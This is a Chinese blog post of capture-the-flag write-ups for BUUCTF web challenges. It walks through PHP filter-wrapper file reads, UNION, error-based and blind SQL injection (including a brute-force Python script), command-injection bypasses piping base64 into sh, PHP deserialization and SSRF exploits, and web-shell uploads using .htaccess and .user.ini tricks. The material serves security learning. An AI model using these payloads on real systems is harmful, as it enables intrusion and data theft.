buuctf-web-1

本文最后更新于:2021年5月31日 下午

Secret File

image-20201109115411137

查看源代码:

image-20201109115428125

image-20201109115438916

点secret,什么都没发现,但是action.php变为了end.php,应该有重定向,抓包看看,

image-20201109115520854

然后访问这个页面,得到源码。

image-20201109115541874

想到可以通过伪协议读取flag。

1
secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

将得到的base64编码进行解码,

image-20201109115730608

Include1

比上一个题简单,同样伪协议读取flag.php

1
file=php://filter/read=convert.base64-encode/resource=flag.php

image-20201109120025091

LoveSQL

1
' union select 1,schema_name,3 from information_schema.schemata#

![image-20201109120759230]buuctf-web-1/image-20201109120759230.png)

1
' union select 1,2,group_concat(schema_name) from information_schema.schemata#

image-20201109121016802

1
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#

image-20201109121306743

1
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#

image-20201109121514689

1
' union select 1,2,(select group_concat(password) from l0ve1ysq1)#

image-20201109122141591

easy_tornado

tornado模板注入,

image-20201109142438560

根据提示,需要文件名和cookie_secret

image-20201109142500146

render渲染,

image-20201109142516300

找到了文件名,然后就需要hash值了,

猜测存在模板注入,找到输入点。

image-20201109142636807

这里有用户输入,简单试试。

image-20201109142700008

查阅资料,找到 handler.settings 属性,试试看。

image-20201109142753280

然后进行加密,

image-20201109142937036

Ping Ping Ping

image-20201109193848992

ping命令,我们可以执行linux命令,这是一个rce

image-20201109193917208

空格被过滤了,

image-20201109193943923

绕过空格的方法:

1
2
3
4
5
cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

一些字符也被过滤了,只能用这种绕过:

image-20201109194054925

估计flag被过滤了,我们读取index试试。

image-20201109194127576

发现过滤了好多,flag贪婪匹配了,这可咋办。。。

可以使用

1
?ip=127.0.0.1;cat$IFS$9`ls`

或者sh,base64加密的方式:

1
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

image-20201109194602514

Easy Calc1

源码泄露,

image-20201110220526310

然后发现字符被过滤了,使用php解析字符串的特性绕过,问号后边加空格。

image-20201110220712407

读取目录,但是单引号被过滤了,使用如下payload:

image-20201110220951863

读取f1agg文件,

1
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

image-20201110221327620

Exec

payload:

1
123|cat ../../../../flag

image-20201111173214101

Knife

image-20201112152241674

连接一句话马,

image-20201112152304644

PHP

通过尝试,找到了www.zip备份目录,审计源码。

反序列化学习:https://www.jianshu.com/p/1d2c65601d2a

输出flag的是class.php:

image-20201113214722442

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

绕过wakeup方法:

当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

所以可以构造exp:

image-20201118212526526

将属性值2改为大于2的就可以了。因为有不可打印字符,所以我们对\0进行url编码。

image-20201118213222658

1
index.php?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

Http

访问secret.php:

image-20201118214105813

image-20201118214112544

我们设置referer试试,

image-20201118214151473

再设置user-agent:

image-20201118214306684

本地只读,伪造ip:

image-20201118214420371

拿到flag

http请求包:

1
2
3
4
5
6
7
8
9
10
11
12
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:26085
Proxy-Connection: keep-alive
Referer: https://www.Sycsecret.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
X-Forwarded-For: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=175b7bc59d4266-032275eb541e94-4353760-144000-175b7bc59d5358

admin

解法很多,因为从头到尾都是照着wp做的,贴一篇wp吧。

https://blog.csdn.net/weixin_44677409/article/details/100733581

Upload

上传文件,抓包,

image-20201130163901279

返回

image-20201130163923032

更改文件类型头:

image-20201130164011530

返回

image-20201130164029780

更改后缀名称,

image-20201130164258904

返回

image-20201130164320280

过滤了<?

更改脚本为:

image-20201130164606403

image-20201130164623359

应该是检查了文件内容,添加文件头试试。

image-20201130164818010

上传成功,

image-20201130164841827

连接服务端。上传的文件在upload文件夹内。

得到flag:

image-20201130165424764

[ACTF2020 新生赛]Upload

前端校验,

image-20201202193259648

使用console重写函数。

image-20201202193717741

上传后缀为.phtml的一句话马文件。

image-20201202193550210

image-20201202193649179

蚁剑连接,

image-20201202194501924

[SUCTF 2019]CheckIn

上传.php文件,检查后缀了,上传.php.jpg,过了后缀检测,但是发现检测了文件内容和文件头,最后上传如下文件:

image-20201202195431071

但是马不会执行,这里还有一个知识点:

.user.ini文件

https://www.cnblogs.com/wangtanzhi/p/11862682.html

所以再传一个文件:

image-20201202202953314

连接蚁剑,

image-20201202202934464

BuyFlag

在页面代码中找到泄露代码,密码是404,但是不能是数字,php弱类型,传值404+字母即可。

image-20201211165613989

但是money不能输入太长的长度。

使用科学计数法,

image-20201211165910704

Easy MD5

抓包发现hint

image-20201211170243271

image-20201211171126357

构造永真语句,

ffifdyop加密后为276f722736c95d99e921722cf9ed621c,276f722736变为字符串为‘or’6

所以就绕过了password的判断。

进入下一个页面:

image-20201211171524480

弱类型比较,

a=QNKCDZO&b=240610708

image-20201211171659546

数组绕过,

md5()计算的是字符串的哈希值,对于数组则返回false,传两个数组,得到两个FALSE相等得以绕过。

image-20201211172134343

[ZJCTF 2019]NiZhuanSiWei

image-20201230144638614

需要读取内容为welcome to the zjctf,使用data协议写入内容,

text=data://text/plain,welcome to the zjctf

然后读取useless.php,读取php文件需要使用filter协议

php://filter/read=convert.base64-encode/resource=useless.php

得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

最后是反序列化漏洞,将Flag类序列化,

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终payload

/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

要注意第二个参数file是useless.php,这样才是包含一个php文件,而filter协议读取的是源码文本。

得到flag:

image-20201230151427427

Hack World

sql注入,先模糊测试,因为第一个字符会忽略,所以从第二个字符测试,

image-20201231183535996

函数几乎没有被过滤,使用盲注,

二分法写的有点问题,直接枚举吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import string
import time
ss = string.printable
url = 'http://1b30c1b1-9655-4d76-9e6e-332ae83bf048.node3.buuoj.cn/index.php'
result = ''

for x in range(1, 50):
s = ''
for i in ss:
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (x, ord(i))
data = {
"id":payload
}
time.sleep(0.05)
response = requests.post(url, data=data)
if 'Hello, glzjin wants a girlfriend.' in response.text:
s = i
break
result += s
print(result)

flag{3f3b99be-359b-4a5f-9fc6-0eb6f2c00474}

[极客大挑战 2019]HardSQL

经过测试发现有过滤,burp进行fuzz。

等号,空格,union, *号等被过滤。

使用报错注入,空格用()代替。

1
2
3
4
5
6
7
8
9
10
11
12
'or(extractvalue("anything",concat('~',(database()))))#  
------ geek
'or(extractvalue("anything",concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))#
------ H4rDsq1
'or(extractvalue("anything",concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))#
----- id,username,password
'or(extractvalue("anything",concat('~',(select(group_concat(username))from(H4rDsq1)))))#
----- flag
'or(extractvalue("anything",concat('~',(select(group_concat(password))from(H4rDsq1)))))#
----- flag{181d97e5-323e-4358-866a-0c
'or(extractvalue("anything",concat('~',(select(group_concat(right(password,20)))from(H4rDsq1)))))#
----- 8-866a-0c2c20dcb643}

flag{181d97e5-323e-4358-866a-0c2c20dcb643}

[网鼎杯 2018]Fakebook

robots.txt源码泄漏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function get($url)
{
//创建curl资源
$ch = curl_init();

//设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//抓取URL并传递给浏览器
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
//关闭curl资源。释放系统资源
curl_close($ch);

return $output;
}

SSRF,通过服务器伪造恶意URL读取flag.php。

登陆,在view.php发现sql注入。

1
2
3
4
5
6
7
8
9
1%20or%20extractvalue("123",concat(%27~%27,(database())))#
--- fakebook
1%20or%20extractvalue("123",concat(%27~%27,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())))#
--- users
1%20or%20extractvalue("123",concat(%27~%27,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name="users")))#
--- no,username,passwd,data,USER,CU
1%20or%20extractvalue("123",concat(%27~%27,(select%20group_concat(data)%20from%20users)))#
1%20or%20extractvalue("123",concat(%27~%27,substr((select%20data%20from%20users),20,30)))#
--- O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:67:"http://67c51528-60aa-442f-8197-40ccdd9a8971.node3.buuoj.cn/join.php";}

更改data数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class UserInfo
{
public $name = "1";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";

}

$a = new UserInfo();
echo serialize($a);
?>
1
2
3
4
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

联合查询序列化后的字符串,union select被ban,使用union/**/select绕过
0%20union/**/select%201,%202,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

flag{b908a76a-9666-4b0d-a5e9-c1f45b265f4e}

[GXYCTF2019]BabySQli

1
2
username:  admin' union select 1,'admin','68053af2923e00204c3ca7c6a3150cf7'#
password: 789

flag{03f63296-0154-4e71-9c57-54d3d44f71ad}

[网鼎杯 2020 青龙组]AreUSerialz

反序列化,要绕过process。

image-20210518214941100

传入数字2进行绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class FileHandler {

public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = "Hello World!";

}
$a = new FileHandler();
echo serialize($a);
?>

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";s:12:"Hello%20World!";}

flag{81940b5b-ace0-48ad-8403-3e605be41798}

[MRCTF2020]你传你🐎呢

改为jpg后缀传文件,

再创建.htaccess文件,将jpg解析为php。

1
AddType application/x-httpd-php .jpg

传一句话马。

image-20210518222025477


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!